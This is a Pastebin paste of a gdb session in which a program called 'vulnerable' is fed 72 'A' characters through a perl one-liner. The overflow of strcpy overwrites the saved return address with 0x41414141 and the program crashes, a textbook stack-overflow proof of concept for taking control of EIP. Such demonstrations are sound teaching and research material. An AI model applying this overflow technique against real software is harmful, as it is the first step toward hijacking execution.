Advertisement
Guest User

Untitled

a guest
Jul 19th, 2017
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
BOO 1.18 KB | None | 0 0
  1. $ gdb -q vulnerable
  2. Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
  3. (gdb) break foo
  4. Breakpoint 1 at 0x804837a: file vulnerable.c, line 6.
  5. (gdb) run `perl -e 'print "A"x72'`
  6. Starting program: /home/sam/vulnerable `perl -e 'print "A"x72'`
  7.  
  8. Breakpoint 1, foo (arg=0xbffff912 'A' <repeats 72 times>) at vulnerable.c:6
  9. 6         strcpy(buffer, arg);
  10. (gdb) info frame
  11. Stack level 0, frame at 0xbffff710:
  12.  eip = 0x804837a in foo (vulnerable.c:6); saved eip 0x80483af
  13.  called by frame at 0xbffff720
  14.  source language c.
  15.  Arglist at 0xbffff708, args: arg=0xbffff912 'A' <repeats 72 times>
  16.  Locals at 0xbffff708, Previous frame's sp is 0xbffff710
  17. Saved registers:
  18.  ebp at 0xbffff708, eip at 0xbffff70c
  19. (gdb) s
  20. 7       }
  21. (gdb) info frame
  22. Stack level 0, frame at 0xbffff710:
  23. eip = 0x804838c in foo (vulnerable.c:7); saved eip 0x41414141
  24. called by frame at 0xbffff714
  25. source language c.
  26. Arglist at 0xbffff708, args: arg=0xbffff900 "home/sam/vulnerable"
  27. Locals at 0xbffff708, Previous frame's sp is 0xbffff710
  28.  Saved registers:
  29.   ebp at 0xbffff708, eip at 0xbffff70c
  30. (gdb) c
  31. Continuing.
  32.  
  33. Program received signal SIGSEGV, Segmentation fault.
  34. 0x41414141 in ?? ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement